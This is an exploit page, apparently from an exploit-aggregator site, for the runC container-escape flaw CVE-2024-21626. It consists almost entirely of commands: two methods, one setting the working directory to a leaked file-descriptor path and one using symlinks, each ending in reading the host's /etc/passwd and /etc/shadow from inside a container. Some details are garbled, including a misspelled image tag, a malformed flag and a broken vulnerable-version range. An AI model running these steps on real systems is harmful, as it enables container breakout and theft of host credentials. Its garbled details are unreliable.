## https://sploitus.com/exploit?id=96AD0FA1-0689-5D86-AD72-3F28755B3AE9
# CVE-2024-21626
## Exploit (Working Directory)
`docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm`
- Important is to put `-w /proc/self/fd/8`\
- Access the host filesystem using `cat ../../../../../../../../../etc/passwd` inside the container
## Exploit (Symlink)
1. `docker run --name cve-2024-21626 --rm --it debian:bootworm`
2. Inside container - `ln -sf /proc/self/fd/7/ /foo`
3. Inside container - `ln -sf /proc/self/fd/8/ /bar`
4. `docker exec -it -w /bar cve-2024-21626 sleep 120`
5. Inside container - `ls -F /proc`
6. Inside container - `cat /proc/9/cmdline` (find PID of the `sleep` command)
7. Inside container - `cat /proc/9/cwd/../../../../../etc/shadow`
## Vulnerable versions
- runC: >= 1.0.0-rc93 and = 1.4.7 and = 1.7.0 a <= 1.7.12.
- Docker: fixed in 25.0.2
## Source
https://nitroc.org/en/posts/cve-2024-21626-illustrated/#exploit-via-setting-working-directory-to-procselffdfd
https://labs.withsecure.com/publications/runc-working-directory-breakout--cve-2024-21626